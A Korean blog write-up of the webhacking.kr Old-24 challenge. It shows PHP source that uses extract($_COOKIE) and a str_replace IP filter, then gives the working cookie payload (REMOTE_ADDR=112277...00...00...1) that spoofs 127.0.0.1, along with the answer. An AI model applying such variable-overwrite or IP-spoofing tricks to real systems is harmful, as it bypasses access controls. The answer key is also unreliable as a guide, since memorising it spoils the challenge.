[Solved in under 7 minutes]
오히사시부리데스.
최근에 대하민국 국민 절반 이상이 사용하는 회사에 대해서 모의해킹 및 모의침투 프로젝트를 하여
바쁘게 살았습니다 예.
모두 건강이 최고입니다~
가보자.

들어가자마자 Wrong IP! 란다.
소스코드 보자

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
extract($_SERVER);
extract($_COOKIE);
$ip = $REMOTE_ADDR;
$agent = $HTTP_USER_AGENT;
if($REMOTE_ADDR){
$ip = htmlspecialchars($REMOTE_ADDR);
$ip = str_replace("..",".",$ip);
$ip = str_replace("12","",$ip);
$ip = str_replace("7.","",$ip);
$ip = str_replace("0.","",$ip);
}
if($HTTP_USER_AGENT){
$agent=htmlspecialchars($HTTP_USER_AGENT);
}
echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
if($ip=="127.0.0.1"){
solve(24);
exit();
}
else{
echo "<hr><center>Wrong IP!</center>";
}
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>
딱 보아하니 그냥 127.0.0.1로 접속하면 풀리는 문제이다.
$ip = str_replace("..",".",$ip)
$ip = str_replace("12","",$ip);
$ip = str_replace("7.","",$ip);
$ip = str_replace("0.","",$ip);
이 부분을 제대로 살펴보자
replace 말 그대로 대체한다고 보면 된다 어렵게 생각하지 마ㅏㄹ.
.. -> .
12 -> 공백
7. -> 공백
0. -> 공백
이거를 우회해서 127.0.0.1이 되면 된다.
단순 생각했을때 이렇게 나오는데 마지막 5번째에서 0. -> 공백으로 바뀌면서 127001이 된다.
그럼 반대로 점을 하나 더 붙여주면?
잘 떨어진다.
extract($_COOKIE);
$ip = $REMOTE_ADDR;
코드에서 extract($_COOKIE)를 실행하기 때문에
쿠키 이름을 REMOTE_ADDR로 넣으면 $REMOTE_ADDR 변수를 덮어쓸 수 있다.
따라서 Cookie에 REMOTE_ADDR=112277...00...00...1 값을 넣으면,
필터링 이후 최종 $ip가 127.0.0.1이 될 것이다.
해보자

Cookie: REMOTE_ADDR=112277...00...00...1
로그인 하란다 크로니움이라 크롬에서 로그인한 쿠키값을 추가해서 해보자

Cookie: REMOTE_ADDR=112277...00...00...1; PHPSESSID=1dmi2bbgh5rpc9mpvg176560vv
내 쿠키값이니 본인걸로 알아서 바꾸자.
야~호

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
112277...00...00...1
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
이런 공격기법보다 HTTP Header IP Spoofing 가 정말 가끔씩 먹히는게 있다.
실무에서 한번 봤다.
모두 공부 열심히 합시다.
Webhacking.kr Old-24 Write-up
이상 보고 끝!